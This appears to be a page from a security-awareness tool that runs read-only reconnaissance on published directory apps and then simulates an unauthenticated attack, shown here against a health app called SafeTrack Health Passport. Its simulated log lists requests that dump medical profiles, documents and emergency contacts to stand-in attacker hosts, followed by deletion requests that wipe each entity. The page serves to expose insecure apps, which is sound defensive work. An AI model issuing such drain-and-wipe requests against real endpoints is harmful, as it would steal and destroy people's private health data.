Synaptic RegistrySIMULATION MODE

RECON IS READ-ONLY · ATTACK IS SIMULATED

Your browser reads the public schema for real. The attack that follows is a local simulation — nothing is sent, deleted, or invoked.

SECURITY RUSSIAN ROULETTE · NO LOGIN REQUIRED

Pick.
Draw.
Pull the trigger.

Pick any published directory app or draw one at random. Your browser first reads its public schema — open entities and functions — then simulates the attack an unauthenticated hacker could run with no exploit: drain the data, wipe it, abuse the functions, lock the owner out. Secured apps end empty. Unsecured ones fire.

The recon is real and read-only. The attack is a local simulation — nothing is sent, deleted, or invoked.

1 · SELECT OR DRAW A DIRECTORY APP

PLAYABLE DIRECTORY

2632 playable apps · 0 with approved evidence

Total playable apps: 2632. Apps with approved assessment evidence: 0. The cylinder is a six-chamber visualization of the approved-evidence population, not a security probability. Zero approved evidence does not disable play — every published app is playable.

2 · PULL THE TRIGGER

SafeTrack Health Passport

PUBLIC-SURFACE RECON

SafeTrack Health Passport

browser · read-only recon

Open data entities

6/7

Open functions

2/2

ReconExfiltrateDestroyAbuseLockoutSIMULATION · NOTHING IS SENT OR DELETED
001 > target acquired: SafeTrack Health Passport
002 > origin: https://safetrackai.com/
003 > app id resolved: 68ecfff8f450e15901aa09ab
004 > open entities: 6 · open functions: 2
005 > phase 1 — exfiltration
006 GET /api/apps/.../entities/MedicalProfile?limit=99999 → 2,038 rows → https://attacker.example/collect
007 GET /api/apps/.../entities/MedicalDocument?limit=99999 → 2,175 rows → https://paste.example/raw
008 GET /api/apps/.../entities/EmergencyContact?limit=99999 → 2,312 rows → https://webhook.site/00000000
009 GET /api/apps/.../entities/HealthMetric?limit=99999 → 1,764 rows → https://discord.example/webhook/x
010 GET /api/apps/.../entities/MedicalFacility?limit=99999 → 2,175 rows → https://t.me/b/xxxxxxx
011 GET /api/apps/.../entities/MedicationReminder?limit=99999 → 2,586 rows → https://storage.evilcdn.example/bucket
012 > phase 2 — destruction
013 DELETE /api/apps/.../entities/MedicalProfile → wiped
014 DELETE /api/apps/.../entities/MedicalDocument → wiped
015 DELETE /api/apps/.../entities/EmergencyContact → wiped
016 DELETE /api/apps/.../entities/HealthMetric → wiped
017 DELETE /api/apps/.../entities/MedicalFacility → wiped
018 DELETE /api/apps/.../entities/MedicationReminder → wiped

Step 1 reads the app’s public schema with anonymous, read-only probes from your browser (no mutations, no record values shown). Step 2 is a fully local simulation of what an attacker could do with those open endpoints — nothing is actually sent, deleted, or invoked.

Some chambers are empty. Some fire.

Secured apps survive the draw. Unsecured ones get drained, wiped, and locked out — in simulation, so you can see it before a real attacker does.

REAL READ-ONLY RECON · LOCAL ATTACK SIMULATION · NO DATA SENT · NOTHING DELETED · NO FUNCTIONS INVOKED